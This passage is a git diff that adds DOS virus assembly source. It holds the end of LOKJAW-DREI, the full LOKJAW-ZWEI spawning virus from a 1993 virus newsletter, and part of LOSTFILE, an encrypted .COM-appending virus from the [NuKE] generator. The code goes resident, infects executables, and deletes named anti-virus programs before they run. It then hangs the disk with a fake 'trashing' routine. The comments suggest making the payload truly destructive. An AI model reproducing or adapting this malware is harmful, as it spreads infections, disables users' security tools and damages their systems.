+;CLEAN, F-PROT & VIRSTOP and Central Point Anti-virus) are loaded. +; +;LOKJAW's "stinger" code demonstrates the simplicity of creating a strongly +;retaliating virus by quickly deleting the anti-virus program before it +;can execute and then displaying a "chomping" graphic. Even if the anti- +;virus program cannot detect LOKJAW in memory, it will be deleted. This +;makes it essential that the user know how to either remove the virus from +;memory before beginning anti-virus measures, or at the least run the +;anti-virus component from a write-protected disk. At a time when retail +;anti-virus packages are becoming more complicated - and more likely that the +;average user will run them from default installations on his hard file - +;LOKJAW's retaliating power makes it a potentially very annoying pest. +;A virus-programmer serious about inconveniencing a system could do a +;number of things with this basic idea. They are; +; 1. Remove the "chomp" effect. It is entertaining, but it exposes the virus +; instantly. +; 2. Alter the_stinger routine, so that the virus immediately attacks the +; hard file. The implementation is demonstrated by LOKJAW-DREI, which +; merely makes the disk inaccessible until a warm reboot if an anti-virus +; program is employed against it. By placing +; a BONA FIDE disk-trashing routine here, it becomes very hazardous for +; an unknowing user to employ anti-virus measures on a machine where +; LOKJAW or a LOKJAW-like program is memory resident. While LOCKAW and +; LOKJAW-ZWEI will produce write-protect errors if an anti-virus program +; is run against them from a write-protected diskette, LOKJAW-DREI +; won't. It will recognize the anti-virus program, display the "chomp" +; and mimic trashing the hard file. This effect makes the disk inacessible +; until the machine is rebooted. +; +;The anti-anti-virus strategies are becoming more common in viral programming. +;Mark Ludwig programmed the features of a direct-action retaliating +;virus in his "Computer Virus Developments Quarterly." Peach, Groove and +;Encroacher viruses attack anti-virus software by deletion of key files. +;And in this issue, the Sandra virus employs a number +;of anti-anti-virus features. +; +;The LOKJAW source listings are TASM compatible. To remove LOKJAW-ZWEI and +;DREI infected files from a system, simply delete the "companion" .COM +;duplicates of your executables. Ensure that the machine has been booted +;from a clean disk. To remove the LOKJAW .COM-appending virus, at this +;time it will be necessary for you to restore the contaminated files from +;a clean back-up. +; +;Alert readers will notice the LOKJAW-ZWEI and DREI create their "companion" +;files in plain sight. Generally, spawning viruses make themselves +;hidden-read-only-system files. This is an easy hack and the code is supplied +;in earlier issues of the newsletter. The modification is left to +;the reader as an academic exercise. + + + .radix 16 + cseg segment + model small + assume cs:cseg, ds:cseg, es:cseg + + org 100h + +oi21 equ endit +filelength equ endit - begin +nameptr equ endit+4 +DTA equ endit+8 + + + + + + +begin: jmp virus_install + +note: + db '[lkW-d␍]..r$ņdM$' + db 'H$.pGm.$..{pŔ-].⋆,$..' + db '☞.w$' ;I.D. note: will doubtless + ;show up in VSUM + + + ;install +virus_install: mov ax,cs ; reduce memory size + dec ax + mov ds,ax + cmp byte ptr ds:[0000],5a + jne cancel + mov ax,ds:[0003] + sub ax,100 + mov ds:0003,ax +Zopy_virus: + mov bx,ax ; copy to claimed block + mov ax,es + add ax,bx + mov es,ax + mov cx,offset endit - begin + mov ax,ds + inc ax + mov ds,ax + lea si,ds:[begin] + lea di,es:0100 + rep movsb + + + +Grab_21: + + mov ds,cx ; hook int 21h + mov si,0084h ; + mov di,offset oi21 + mov dx,offset check_exec + lodsw + cmp ax,dx ; + je cancel ; exit, if already installed + stosw + movsw + + push es + pop ds + mov ax,2521h ; revector int 21h to virus + int 21h + +cancel: ret + +check_exec: + pushf + + push es ; push everything onto the + push ds ; stack + push ax + push bx + push dx + + cmp ax,04B00h ; is the file being + + + + jne abort ; executed? + + + + + ;if yes, try the_stinger +do_infect: call infect ; then try to infect + + + + +abort: ; restore everything + pop dx + pop bx + pop ax + pop ds + pop es + popf + +Bye_Bye: + ; exit + jmp dword ptr cs:[oi21] + + +new_24h: + mov al,3 ; critical error handler + iret + +infect: + mov cs:[name_seg],ds ; here, the virus essentially + mov cs:[name_off],dx ; copies the name of the + + cld ; loaded file into a buffer + mov di,dx ; so that it can be compared + push ds ; against the default names + pop es ; in the_stinger + mov al,'.' ; subroutine + repne scasb ; <-- + + call the_stinger ; check for anti-virus load + ; and deploy the_stinger + + + + cld + mov word ptr cs:[nameptr],dx + mov word ptr cs:[nameptr+2],ds + + mov ah,2Fh + int 21h + push es + push bx + + push cs + + pop ds + mov dx,offset DTA + mov ah,1Ah + int 21h + + call searchpoint + push di + mov si,offset COM_txt + + mov cx,3 + rep cmpsb + pop di + jz do_com + mov si,offset EXE_txt + nop + mov cl,3 + rep cmpsb + jnz return + +do_exe: mov si,offset COM_txt + nop + call change_ext + mov ax,3300h + nop + int 21h + push dx + + cwd + inc ax + push ax + int 21h + +Grab24h: + + mov ax,3524h + int 21h + push bx + push es + push cs + pop ds + mov dx,offset new_24h + mov ah,25h + push ax + int 21h + + + lds dx,dword ptr [nameptr] ;create the virus (unique name) + xor cx,cx + mov ah,05Bh + int 21 + jc return1 + xchg bx,ax ;save handle + + + + push cs + pop ds + mov cx,filelength ;cx= length of virus + mov dx,offset begin ;where to start copying + mov ah,40h ;write the virus to the + int 21h ;new file + + mov ah,3Eh ; close + int 21h + +return1: pop ax + pop ds + pop dx + int 21h + + pop ax + pop dx + int 21h + + mov si,offset EXE_txt + call change_ext + +return: mov ah,1Ah + pop dx + pop ds + int 21H + + ret + +do_com: call findfirst + cmp word ptr cs:[DTA+1Ah],endit - begin + jne return + mov si,offset EXE_txt + call change_ext + call findfirst + jnc return + mov si,offset COM_txt + call change_ext + jmp short return + +searchpoint: les di,dword ptr cs:[nameptr] + mov ch,0FFh + mov al,0 + repnz scasb + sub di,4 + ret +change_ext: call searchpoint + push cs + pop ds + movsw + movsw + ret + +findfirst: lds dx,dword ptr [nameptr] + mov cl,27h + mov ah,4Eh + int 21h + ret + +the_stinger: + cmp word ptr es:[di-3],'MI' ;Integrity Master + je jumptoass + + cmp word ptr es:[di-3],'XR' ;VIRX + je jumptoass + + cmp word ptr es:[di-3],'PO' ;VIRUSTOP + jne next1 + cmp word ptr es:[di-5],'TS' + je jumptoass + +next1: cmp word ptr es:[di-3],'VA' ;AV = CPAV + je jumptoass + + cmp word ptr es:[di-3],'TO' ;*prot = F-prot + jne next2 + cmp word ptr es:[di-5],'RP' + je jumptoass + +next2: cmp word ptr es:[di-3],'NA' ;*scan = McAfee's Scan. + jne next3 + cmp word ptr es:[di-5],'CS' + je jumptoass + + cmp word ptr es:[di-3],'NA' ;*lean = McAfee's CLEAN. + jne next3 ; why not, eh? + cmp word ptr es:[di-5],'EL' + je jumptoass +next3: ret +jumptoass: jmp chomp ;assassination (deletion) + ; of anti-virus program +chomp: + push cs ; chomper visual + pop ds + mov ah, 03h + int 10h + mov [c1], bh ; save cursor + mov [c2], dh + mov [c3], dl + mov [c4], ch + mov [c5], cl + mov ah, 1 + mov cl, 0 + mov ch, 40h + int 10h + + mov cl, 0 + mov dl, 4Fh + mov ah, 6 + mov al, 0 + mov bh, 0Fh + mov ch, 0 + mov cl, 0 + mov dh, 0 + mov dl, 4Fh + int 10h + + mov ah, 2 + mov dh, 0 + mov dl, 1Fh + mov bh, 0 + int 10h + + mov dx,offset eyes ; print the eyes + mov ah, 9 + mov bl, 0Fh + int 21h + + mov ah, 2 + mov dh, 1 + mov dl, 0 + int 10h + + mov ah, 9 + mov al, 0DCh + mov bl, 0Fh + mov cx, 50h + int 10h + + mov ah, 2 + mov dh, 18h + mov dl, 0 + int 10h + + mov ah, 9 + mov al, 0DFh + mov bl, 0Fh + mov cx, 50h + int 10h + + mov dl, 0 +chomp_1: + mov ah, 2 + mov dh, 2 + int 10h + + mov ah, 9 + mov al, 55h + mov bl, 0Fh + mov cx, 1 + int 10h + + mov ah, 2 + mov dh, 17h + inc dl + int 10h + + mov ah, 9 + mov al, 0EFh + mov bl, 0Fh + int 10h + + inc dl + cmp dl, 50h + jl chomp_1 + mov [data_1], 0 +chomp_3: + mov cx, 7FFFh ; delays + +locloop_4: + loop locloop_4 + + inc [data_1] + cmp [data_1], 0Ah + jl chomp_3 + mov [data_1], 0 + mov cl, 0 + mov dl, 4Fh +chomp_5: + mov ah, 6 + mov al, 1 + mov bh, [data_2] + mov ch, 0Dh + mov dh, 18h + int 10h + + mov ah, 7 + mov al, 1 + mov bh, [data_2] + mov ch, 0 + mov dh, 0Ch + int 10h + mov cx, 3FFFh ; delays + +locloop_6: + loop locloop_6 + inc [data_1] + cmp [data_1], 0Bh + jl chomp_5 + mov [data_1], 0 +chomp_7: + mov cx, 7FFFh ; delays + +locloop_8: + loop locloop_8 + inc [data_1] + cmp [data_1], 0Ah + jl chomp_7 + mov ah, 6 + mov al, 0 + mov bh, [data_2] + mov ch, 0 + mov cl, 0 + mov dh, 18h + mov dl, 4Fh + int 10h + + mov cl, 7 + mov ch, 6 + int 10h + + mov ah, 2 + mov bh, [c1] + mov dh, [c2] + mov dl, [c3] + int 10h + mov al, bh + mov ah, 5 + int 10h + mov ah, 1 + mov ch, [c4] + mov cl, [c5] + int 10h + mov ax, 0003h + int 10h ; sort of a cls + mov ax, 00ffh + + mov si,0 ;scarey part: drive reads real +scarey: lodsb ;fast ala Michelangelo-style + mov ah,al ;over-write, but this routine only + lodsb ;gets random bytes here for a + and al,3 ;cylinder to READ + mov dl,80h + mov dh,al + mov ch,ah + mov cl,1 + mov bx,offset last ;buffer to read into + mov ax,201h + int 13h ;jump into a loop, effectively hang machine + jmp short scarey ;yow! scarey! just think if this + ;was made by someone not as nice as + ;me. + ;It's not much of a stretch to + ;imagine a routine for thumping + ;the hard file in place of scarey. + ;A retaliating virus of this + ;nature is a distinct + ;possibility. + +EXE_txt db 'EXE',0 +COM_txt db 'COM',0 + +eyes db '(o) (o)','$' ; ASCII eyes of Lockjaw + +data_1 db 0 +data_2 db 0 + +last db 090H +name_seg dw ? +name_off dw ? + +c1 db 0 +c2 db 0 +c3 db 0 +c4 db 0 +c5 db 0 +note2: db 'Lokjaw-Drei' + +endit: + + +cseg ends + end begin + + + diff --git a/l/LOKJAWZ.ASM b/l/LOKJAWZ.ASM new file mode 100755 index 0000000..fd08389 --- /dev/null +++ b/l/LOKJAWZ.ASM @@ -0,0 +1,566 @@ +;LOKJAW-ZWEI: an .EXE-infecting spawning virus with retaliatory +;anti-anti-virus capability. For Crypt Newsletter 12, Feb. 1993. +; +;LOKJAW-ZWEI is a resident spawning virus which installs itself in +;memory using the same engine as the original Civil War/Proto-T virus. +;It is simpler in that none of its addresses have to be +;relative, an indirect benefit of the fact that the virus has no +;"appending" quality. That means, LOKJAW doesn't alter its "host" files, +;much like a number of other companion/spawning viruses published in +;previous newsletters. +; +;LOKJAW hooks interrupt 21 and infects .EXE files on execution, creating +;itself as companion .COMfile to the "host." Due to the inherent rules +;of DOS, this ensures the virus will be executed before the "host" the +;next time the infected program is used. In reality, LOKJAW is even +;simpler than that. If not in memory, the first time the host is +;called, LOKJAW will go resident and not even bother to load it. +;In most cases, the user will assume a slight error and call the host +;again, at which point it will function normally. LOKJAW will then infect +;every subsequent .EXE file called. LOKJAW is very transparent in operation, +;except when certain anti-virus programs (Integrity Master, McAfee's SCAN & +;CLEAN, F-PROT & VIRSTOP and Central Point Anti-virus) are loaded. +;LOKJAW spawning variants are so simple they don't even need much in the +;way of installation checks. The virus simply becomes resident the first +;time it is called. Once in memory, when other infect file are executed +;LOKJAW merely looks over the loaded file, if it recognizes itself it +;discards the load and proceeds to execute the "infected" file as would +;be the case on an uninfected system. +; +;LOKJAW's "stinger" code demonstrates the simplicity of creating a strongly +;retaliating virus by quickly deleting the anti-virus program before it +;can execute and then displaying a "chomping" graphic. Even if the anti- +;virus program cannot detect LOKJAW in memory, it will be deleted. This +;makes it essential that the user know how to either remove the virus from +;memory before beginning anti-virus measures, or at the least run the +;anti-virus component from a write-protected disk. (If the LOKJAW viruses +;are present in memory and an anti-virus program is run from a write- +;protected disketter, it will, of course, generate "write protect" +;errors.) At a time when retail anti-virus packages are becoming more +;complicated - and more likely that the +;average user will run them from default installations on his hard file - +;LOKJAW's retaliating power makes it a potentially very annoying pest. +;A virus-programmer serious about inconveniencing a system could do a +;number of things with this basic idea. They are; +; 1. Remove the "chomp" effect. It is entertaining, but it exposes the virus +; instantly. +; 2. Alter the_stinger routine, so that the virus immediately attacks the +; hard file. The implementation is demonstrated by LOKJAW-DREI, which +; merely makes the disk inaccessible until a warm reboot if an anti-virus +; program is employed against it. By placing +; a BONA FIDE disk-trashing routine here, it becomes very hazardous for +; an unknowing user to employ anti-virus measures on a machine where +; LOKJAW or a LOKJAW-like program is memory resident. LOKJAW-DREI, +; which does not try to delete anti-virus files, displays the "chomp" +; and mimics trashing the disk even when the anti-virus program is +; used from a write-protected diskette. Of course, the user will +; see no "write protect" error as with the other viruses. The disk merely +; becomes inacessible. +; +;These anti-anti-virus strategies are becoming more common in viral +;programming. +; +;Mark Ludwig programmed the features of a direct-action retaliating +;virus in his "Computer Virus Developments Quarterly." Peach, Groove and +;Encroacher viruses attack anti-virus software by deletion of files central +;to the functionality of the software. +; +;And in this issue, the Sandra virus employs a number +;of anti-anti-virus features. +; +;The LOKJAW source listings are TASM compatible. To remove LOKJAW-ZWEI and +;DREI infected files from a system, simply delete the "companion" .COM +;duplicates of your executables. Ensure that the machine has been booted +;from a clean disk. To remove the LOKJAW .COM-appending virus, at this +;time it will be necessary for you to restore the contaminated files from +;a clean back-up. +; +;Alert readers will notice the LOKJAW-ZWEI and DREI create their "companion" +;files in plain sight. Generally, spawning viruses make themselves +;hidden-read-only-system files. This is an easy hack and the code is supplied +;in earlier issues of the newsletter. The modification is left to +;the reader as an academic exercise. + + .radix 16 + cseg segment + model small + assume cs:cseg, ds:cseg, es:cseg + + org 100h + +oi21 equ endit +filelength equ endit - begin +nameptr equ endit+4 +DTA equ endit+8 + + + + + + +begin: jmp virus_install + +note: + db '[lkW-zW]..r$ņdM$' + db 'H$.pGm.$..{pŔ-].⋆,$..' + db '☞.w$' ; I.D. note: will probably be + ; documented in VSUM + + + ; install +virus_install: mov ax,cs ; reduce memory size + dec ax + mov ds,ax + cmp byte ptr ds:[0000],5a ; check if last memory + jne cancel ; block + mov ax,ds:[0003] + sub ax,100 ; decrease memory + mov ds:0003,ax +Zopy_virus: + mov bx,ax ; copy to claimed block + mov ax,es ; PSP + add ax,bx ; virus start in memory + mov es,ax + mov cx,offset endit - begin ; cx = length of virus + mov ax,ds ; restore ds + inc ax + mov ds,ax + lea si,ds:[begin] ; point to start of virus + lea di,es:0100 ; point to destination + rep movsb ; copy virus in memory + + + +Grab_21: + + mov ds,cx ; hook interrupt 21h + mov si,0084h ; + mov di,offset oi21 + mov dx,offset check_exec + lodsw + cmp ax,dx ; + je cancel ; exit, if already installed + stosw + movsw + + push es + pop ds + mov ax,2521h ; revector int 21h to virus + int 21h + +cancel: ret + +check_exec: ; look over loaded files + pushf ; for executables + + push es ; push everything onto the + push ds ; stack + push ax + push bx + push dx + + cmp ax,04B00h ; is a file being + ; executed ? + + + jne abort ; no, exit + + + + + ;if yes, try the_stinger +do_infect: call infect ; then try to infect + + + + +abort: ; restore everything + pop dx + pop bx + pop ax + pop ds + pop es + popf + +bye_bye: + ; exit + jmp dword ptr cs:[oi21] + + +new_24h: + mov al,3 ; critical error handler + iret + +infect: + mov cs:[name_seg],ds ; this routine + mov cs:[name_off],dx ; essentially grabs + ; the name of the file + cld ; <-- + mov di,dx ; being loaded + push ds ; and copies it into a + pop es ; buffer where the virus + mov al,'.' ; can compare it to its + repne scasb ; "anti-virus" list, from + ; the_stinger routine + call the_stinger ; now, call Lokjaw's anti-virus + ; stinger + + ; no anti-virus, resume infection + + cld ; clear direction flags + mov word ptr cs:[nameptr],dx ; save pointer to the filename + mov word ptr cs:[nameptr+2],ds + + mov ah,2Fh ; get old DTA + int 21h + push es + push bx + + push cs ; set new DTA + + pop ds + mov dx,offset DTA + mov ah,1Ah + int 21h + + call searchpoint ; find filename for virus + push di + mov si,offset COM_txt ; is extension 'COM' ? + + mov cx,3 + rep cmpsb + pop di + jz do_com ; if so, go to out .COM routine + mov si,offset EXE_txt ; is extension .EXE ? + nop + mov cl,3 + rep cmpsb + jnz return + +do_exe: mov si,offset COM_txt ; load .COM extent mask + nop + call change_ext ; change extension on filename.EXE + mov ax,3300h ; to .COM + nop + int 21h + push dx + + cwd + inc ax ; clear flags + push ax + int 21h + +Grab24h: + + mov ax,3524h ; get critical error handler vector + int 21h + push bx + push es + push cs ; set interrupt 24h to new handler + pop ds + mov dx,offset new_24h + mov ah,25h + push ax + int 21h + + + lds dx,dword ptr [nameptr] ; create the virus (with name) + xor cx,cx ; of EXE target + mov ah,05Bh ; + int 21 + jc return1 + xchg bx,ax ; save handle + + + + push cs + pop ds + mov cx,filelength ; cx = virus length + mov dx,offset begin + mov ah,40h ; write the virus to the created + int 21h ; file + + mov ah,3Eh ; close the file + int 21h + +return1: pop ax ; restore interrupt 24h + pop ds + pop dx + int 21h + + pop ax + pop dx ; restore Crtl-break flags + int 21h + + mov si,offset EXE_txt ; load .EXE mask + call change_ext ; and change the extension on + ; the filename back to original +return: mov ah,1Ah ; host + pop dx ; restore old DTA + pop ds + int 21H + + ret ; + +do_com: call findfirst ; is the .COMfile executed the virus? + cmp word ptr cs:[DTA+1Ah],endit - begin + jne return ; no, so exit + mov si,offset EXE_txt ; does the .EXE variant exist ? + call change_ext + call findfirst + jnc return ; + mov si,offset COM_txt ; load .COM extension + call change_ext ; change the filename and + jmp short return ; jump to exit + +searchpoint: les di,dword ptr cs:[nameptr] + mov ch,0FFh + mov al,0 + repnz scasb + sub di,4 + ret +change_ext: call searchpoint + push cs + pop ds + movsw + movsw + ret + +findfirst: lds dx,dword ptr [nameptr] + mov cl,27h + mov ah,4Eh + int 21h + ret + +the_stinger: ; the_stinger compares the loaded filename with these defaults + cmp word ptr es:[di-3],'MI' ;Integrity Master + je jumptoass ; Stiller Research + + cmp word ptr es:[di-3],'XR' ; Virx = VIREX + je jumptoass ; if there's a match + ; go to assassinate file + cmp word ptr es:[di-3],'PO' ;*STOP = VIRSTOP + jne next1 ; F-Prot + cmp word ptr es:[di-5],'TS' + je jumptoass + +next1: cmp word ptr es:[di-3],'VA' ; AV = CPAV + je jumptoass ; Central Point + + cmp word ptr es:[di-3],'TO' ;*prot = F-prot + jne next2 + cmp word ptr es:[di-5],'RP' + je jumptoass + +next2: cmp word ptr es:[di-3],'NA' ;*scan = McAfee's Scan. + jne next3 + cmp word ptr es:[di-5],'CS' + je jumptoass + + cmp word ptr es:[di-3],'NA' ; *lean = CLEAN. + jne next3 ; why not, eh? + cmp word ptr es:[di-5],'EL' + je jumptoass +next3: ret +jumptoass: ; assassinate anti-virus program + + mov ds,cs:[name_seg] ; points to + mov dx,cs:[name_off] ; filename to delete + + mov ax, 4301h ; clear attributes + mov cx, 00h + int 21h + jc chomp ; exit on error to visual + mov ah, 41h ; delete anti-virus file + int 21h ; exit on error to visual + jc chomp +chomp: + push cs ; chomper visual + pop ds + mov ah, 03h + int 10h + mov [c1], bh ; save cursor + mov [c2], dh + mov [c3], dl + mov [c4], ch + mov [c5], cl + mov ah, 1 + mov cl, 0 + mov ch, 40h + int 10h + + mov cl, 0 + mov dl, 4Fh + mov ah, 6 + mov al, 0 + mov bh, 0Fh + mov ch, 0 + mov cl, 0 + mov dh, 0 + mov dl, 4Fh + int 10h + + mov ah, 2 + mov dh, 0 + mov dl, 1Fh + mov bh, 0 + int 10h + + mov dx,offset eyes ; print the eyes + mov ah, 9 + mov bl, 0Fh + int 21h + + mov ah, 2 + mov dh, 1 + mov dl, 0 + int 10h + + mov ah, 9 + mov al, 0DCh + mov bl, 0Fh + mov cx, 50h + int 10h + + mov ah, 2 + mov dh, 18h + mov dl, 0 + int 10h + + mov ah, 9 + mov al, 0DFh + mov bl, 0Fh + mov cx, 50h + int 10h + + mov dl, 0 +chomp_1: + mov ah, 2 + mov dh, 2 + int 10h + + mov ah, 9 + mov al, 55h + mov bl, 0Fh + mov cx, 1 + int 10h + + mov ah, 2 + mov dh, 17h + inc dl + int 10h + + mov ah, 9 + mov al, 0EFh + mov bl, 0Fh + int 10h + + inc dl + cmp dl, 50h + jl chomp_1 + mov [data_1], 0 +chomp_3: + mov cx, 7FFFh ; delays + +locloop_4: + loop locloop_4 + + inc [data_1] + cmp [data_1], 0Ah + jl chomp_3 + mov [data_1], 0 + mov cl, 0 + mov dl, 4Fh +chomp_5: + mov ah, 6 + mov al, 1 + mov bh, [data_2] + mov ch, 0Dh + mov dh, 18h + int 10h + + mov ah, 7 + mov al, 1 + mov bh, [data_2] + mov ch, 0 + mov dh, 0Ch + int 10h + mov cx, 3FFFh ; delays + +locloop_6: + loop locloop_6 + inc [data_1] + cmp [data_1], 0Bh + jl chomp_5 + mov [data_1], 0 +chomp_7: + mov cx, 7FFFh ; delays + +locloop_8: + loop locloop_8 + inc [data_1] + cmp [data_1], 0Ah + jl chomp_7 + mov ah, 6 + mov al, 0 + mov bh, [data_2] + mov ch, 0 + mov cl, 0 + mov dh, 18h + mov dl, 4Fh + int 10h + + mov cl, 7 + mov ch, 6 + int 10h + + mov ah, 2 + mov bh, [c1] + mov dh, [c2] + mov dl, [c3] + int 10h + mov al, bh + mov ah, 5 + int 10h + mov ah, 1 + mov ch, [c4] + mov cl, [c5] + int 10h + mov ax, 0003h + int 10h ; sort of a cls + mov ax, 00ffh + ret + + + + + + + +EXE_txt db 'EXE',0 ; extension masks +COM_txt db 'COM',0 + +eyes db '(o) (o)','$' ; ASCII eyes of Lockjaw + +data_1 db 0 +data_2 db 0 + +name_seg dw ? +name_off dw ? + +c1 db 0 +c2 db 0 +c3 db 0 +c4 db 0 +c5 db 0 + +note2: db 'Lokjaw-Zwei' + +endit: + + +cseg ends + end begin + + + diff --git a/l/LOSTFILE.ASM b/l/LOSTFILE.ASM new file mode 100755 index 0000000..3ca49ba --- /dev/null +++ b/l/LOSTFILE.ASM @@ -0,0 +1,430 @@ +;Ŀ +; THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS. [NuKE] PoWeR +; CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN [NuKE] WaReZ +; auToR: aLL [NuKE] MeMeBeRS [NuKE] PoWeR +; [NuKE] THe ReaL PoWeR! [NuKE] WaReZ +; NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994 [NuKE] PoWeR +; + +.286 +code segment +assume cs:code,ds:code +org 100h + +start: CALL NEXT + +NEXT: + mov di,sp ;take the stack pointer location + mov bp,ss:[di] ;take the "DELTA HANDLE" for my virus + sub bp,offset next ;subtract the large code off this code + ; +;******************************************************************* +; #1 DECRYPT ROUTINE +;******************************************************************* + +cmp byte ptr cs:[crypt],0b9h ;is the first runnig? +je crypt2 ;yes! not decrypt +;---------------------------------------------------------- +mov cx,offset fin ;cx = large of virus +lea di,[offset crypt]+ bp ;di = first byte to decrypt +mov dx,1 ;dx = value for decrypt +;---------------------------------------------------------- +deci: ;deci = fuck label! +;---------------------------------------------------------- + +inc di +inc di +;---------------------------------------------------------- +jmp bye ;######## BYE BYE F-PROT ! ########## +mov ah,4ch +int 21h +bye: ;#### HEY FRIDRIK! IS ONLY A JMP!!### +;----------------------------------------------------------- +mov ah,0bh ;######### BYE BYE TBAV ! ########## +int 21h ;### (CANGE INT AT YOU PLEASURE) ### +;---------------------------------------------------------- +loop deci ;repeat please! + ; +;***************************************************************** +; #2 DECRYPT ROUTINE +;***************************************************************** + ; +crypt: ;fuck label! + ; +mov cx,offset fin ;cx = large of virus +lea di,[offset crypt2] + bp ;di = first byte to decrypt +;--------------------------------------------------------------- +deci2: ; +xor byte ptr cs:[di],1 ;decrytion rutine +inc di ;very simple... +loop deci2 ; +;--------------------------------------------------------------- +crypt2: ;fuck label! + ; +MOV AX,0CACAH ;call to my resident interrup mask +INT 21H ;for chek "I'm is residet?" +CMP Bh,0CAH ;is equal to CACA? +JE PUM2 ;yes! jump to runnig program +call action +;***************************************************************** +; NRLG FUNCTIONS (SELECTABLE) +;***************************************************************** + +;**************************************************************** +; PROCESS TO REMAIN RESIDENT +;**************************************************************** + +mov ax,3521h +int 21h ;store the int 21 vectors +mov word ptr [bp+int21],bx ;in cs:int21 +mov word ptr [bp+int21+2],es ; +;--------------------------------------------------------------- +push cs ; +pop ax ;ax = my actual segment +dec ax ;dec my segment for look my MCB +mov es,ax ; +mov bx,es:[3] ;read the #3 byte of my MCB =total used memory +;--------------------------------------------------------------- +push cs ; +pop es ; +sub bx,(offset fin - offset start + 15)/16 ;subtract the large of my virus +sub bx,17 + offset fin ;and 100H for the PSP total +mov ah,4ah ;used memory +int 21h ;put the new value to MCB +;--------------------------------------------------------------- +mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin +mov ah,48h ; +int 21h ;request the memory to fuck DOS! +;--------------------------------------------------------------- +dec ax ;ax=new segment +mov es,ax ;ax-1= new segment MCB +mov byte ptr es:[1],8 ;put '8' in the segment +;-------------------------------------------------------------- +inc ax ; +mov es,ax ;es = new segment +lea si,[bp + offset start] ;si = start of virus +mov di,100h ;di = 100H (psp position) +mov cx,offset fin - start ;cx = lag of virus +push cs ; +pop ds ;ds = cs +cld ;mov the code +rep movsb ;ds:si >> es:di +;-------------------------------------------------------------- +mov dx,offset virus ;dx = new int21 handler +mov ax,2521h ; +push es ; +pop ds ; +int 21h ;set the vectors +;------------------------------------------------------------- +pum2: ; + ; +mov ah,byte ptr [cs:bp + real] ;restore the 3 +mov byte ptr cs:[100h],ah ;first bytes +mov ax,word ptr [cs:bp + real + 1] ; +mov word ptr cs:[101h],ax ; +;------------------------------------------------------------- +mov ax,100h ; +jmp ax ;jmp to execute + ; +;***************************************************************** +;* HANDLER FOR THE INT 21H +;***************************************************************** + ; +VIRUS: ; + ; +cmp ah,4bh ;is a 4b function? +je REPRODUCCION ;yes! jump to reproduce ! +cmp ah,11h +je dir +cmp ah,12h +je dir +dirsal: +cmp AX,0CACAH ;is ... a caca function? (resident chek) +jne a3 ;no! jump to a3 +mov bh,0cah ;yes! put ca in bh +a3: ; +JMP dword ptr CS:[INT21] ;jmp to original int 21h +ret ; +make db '[NuKE] N.R.L.G. AZRAEL' +dir: +jmp dir_s +;------------------------------------------------------------- +REPRODUCCION: ; + ; +pushf ;put the register +pusha ;in the stack +push si ; +push di ; +push bp ; +push es ; +push ds ; +;------------------------------------------------------------- +push cs ; +pop ds ; +mov ax,3524H ;get the dos error control +int 21h ;interupt +mov word ptr error,es ;and put in cs:error +mov word ptr error+2,bx ; +mov ax,2524H ;change the dos error control +mov dx,offset all ;for my "trap mask" +int 21h ; +;------------------------------------------------------------- +pop ds ; +pop es ;restore the registers +pop bp ; +pop di ; +pop si ; +popa ; +popf ; +;------------------------------------------------------------- +pushf ;put the registers +pusha ; +push si ;HEY! AZRAEL IS CRAZY? +push di ;PUSH, POP, PUSH, POP +push bp ;PLEEEEEAAAAAASEEEEEEEEE +push es ;PURIFY THIS SHIT! +push ds ; +;------------------------------------------------------------- +mov ax,4300h ; +int 21h ;get the file +mov word ptr cs:[attrib],cx ;atributes +;------------------------------------------------------------- +mov ax,4301h ;le saco los atributos al +xor cx,cx ;file +int 21h ; +;------------------------------------------------------------- +mov ax,3d02h ;open the file +int 21h ;for read/write +mov bx,ax ;bx=handle +;------------------------------------------------------------- +mov ax,5700h ; +int 21h ;get the file date +mov word ptr cs:[hora],cx ;put the hour +mov word ptr cs:[dia],dx ;put the day +and cx,word ptr cs:[fecha] ;calculate the seconds +cmp cx,word ptr cs:[fecha] ;is ecual to 58? (DEDICATE TO N-POX) +jne seguir ;yes! the file is infected! +jmp cerrar ; +;------------------------------------------------------------ +seguir: ; +mov ax,4202h ;move the pointer to end +call movedor ;of the file +;------------------------------------------------------------ +push cs ; +pop ds ; +sub ax,3 ;calculate the +mov word ptr [cs:largo],ax ;jmp long +;------------------------------------------------------------- +mov ax,04200h ;move the pointer to +call movedor ;start of file +;---------------------------------------------------------- +push cs ; +pop ds ;read the 3 first bytes +mov ah,3fh ; +mov cx,3 ; +lea dx,[cs:real] ;put the bytes in cs:[real] +int 21h ; +;---------------------------------------------------------- +cmp word ptr cs:[real],05a4dh ;the 2 first bytes = 'MZ' ? +jne er1 ;yes! is a EXE... fuckkk! +;---------------------------------------------------------- +jmp cerrar +er1: +;---------------------------------------------------------- +mov ax,4200h ;move the pointer +call movedor ;to start fo file +;---------------------------------------------------------- +push cs ; +pop ds ; +mov ah,40h ; +mov cx,1 ;write the JMP +lea dx,[cs:jump] ;instruccion in the +int 21h ;fist byte of the file +;---------------------------------------------------------- +mov ah,40h ;write the value of jmp +mov cx,2 ;in the file +lea dx,[cs:largo] ; +int 21h ; +;---------------------------------------------------------- +mov ax,04202h ;move the pointer to +call movedor ;end of file +;---------------------------------------------------------- +push cs ; +pop ds ;move the code +push cs ;of my virus +pop es ;to cs:end+50 +cld ;for encrypt +mov si,100h ; +mov di,offset fin + 50 ; +mov cx,offset fin - 100h ; +rep movsb ; +;---------------------------------------------------------- +mov cx,offset fin +mov di,offset fin + 50 + (offset crypt2 - offset start) ;virus +enc: ; +xor byte ptr cs:[di],1 ;encrypt the virus +inc di ;code +loop enc ; +;--------------------------------------------------------- +mov cx,offset fin +mov di,offset fin + 50 + (offset crypt - offset start) ;virus +mov dx,1 +enc2: ; + +inc di +inc di ;the virus code +loop enc2 ; +;-------------------------------------------- +mov ah,40h ; +mov cx,offset fin - offset start ;copy the virus +mov dx,offset fin + 50 ;to end of file +int 21h ; +;---------------------------------------------------------- +cerrar: ; + ;restore the +mov ax,5701h ;date and time +mov cx,word ptr cs:[hora] ;file +mov dx,word ptr cs:[dia] ; +or cx,word ptr cs:[fecha] ;and mark the seconds +int 21h ; +;---------------------------------------------------------- +mov ah,3eh ; +int 21h ;close the file +;---------------------------------------------------------- +pop ds ; +pop es ;restore the +pop bp ;registers +pop di ; +pop si ; +popa ; +popf ; +;---------------------------------------------------------- +pusha ; + ; +mov ax,4301h ;restores the atributes +mov 